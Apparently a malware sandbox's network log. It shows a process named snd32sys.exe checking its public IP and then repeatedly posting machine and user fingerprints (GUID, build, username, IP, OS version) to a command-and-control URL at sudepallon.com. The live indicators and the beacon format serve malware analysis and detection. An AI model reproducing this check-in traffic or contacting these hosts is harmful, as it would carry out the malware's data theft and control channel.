Jul 8, 2021 16:32:00.276813984 CEST	6045	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 4b 50 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFKPUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49756	23.21.173.155	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:52.909492970 CEST	5479	OUT	GET / HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: api.ipify.org Cache-Control: no-cache
Jul 8, 2021 16:31:53.014983892 CEST	5479	IN	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Thu, 08 Jul 2021 14:31:52 GMT Content-Length: 14 Via: 1.1 vegur Data Raw: 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 Data Ascii: 185.189.150.70

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49774	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:00.613718033 CEST	6046	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:00.681197882 CEST	6046	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 54 47 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cATGZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49775	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:01.018528938 CEST	6047	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:01.088430882 CEST	6047	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 48 53 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNHSMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49776	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:01.437737942 CEST	6048	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:01.505616903 CEST	6049	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 4d 4e 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGMNTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49777	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:01.835478067 CEST	6049	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:01.903317928 CEST	6050	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 41 5a 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCAZXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49778	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:02.240464926 CEST	6051	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:02.306262970 CEST	6051	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 41 5a 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKAZPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49779	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:02.637330055 CEST	6052	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:02.708657980 CEST	6052	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 48 53 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTHSGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49780	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:03.034343958 CEST	6053	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:03.099986076 CEST	6053	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 48 53 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCHSXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49781	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:03.457827091 CEST	6054	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:03.525928974 CEST	6054	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 4a 51 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNJQMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49782	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:03.970303059 CEST	6055	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:04.037123919 CEST	6056	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 54 47 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMTGNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49783	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:04.411729097 CEST	6056	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:04.479322910 CEST	6057	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 41 5a 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZAZAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49757	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:53.509896040 CEST	5499	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:53.576370001 CEST	5505	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:31:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 4b 50 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQKPJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49784	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:04.784542084 CEST	6057	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:04.851527929 CEST	6058	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 4b 50 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMKPNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49785	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:05.179541111 CEST	6059	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:05.246893883 CEST	6059	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 4e 4d 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCNMXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49786	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:05.567929029 CEST	6060	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:05.634110928 CEST	6060	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 4b 50 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBKPYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49787	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:05.990741968 CEST	6061	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:06.056196928 CEST	6061	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 5a 41 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBZAYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49788	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:06.570564985 CEST	6062	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:06.643687010 CEST	6062	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 4b 50 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQKPJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49789	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:07.036962032 CEST	6063	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:07.106313944 CEST	6063	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 51 4a 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAQJZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49790	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
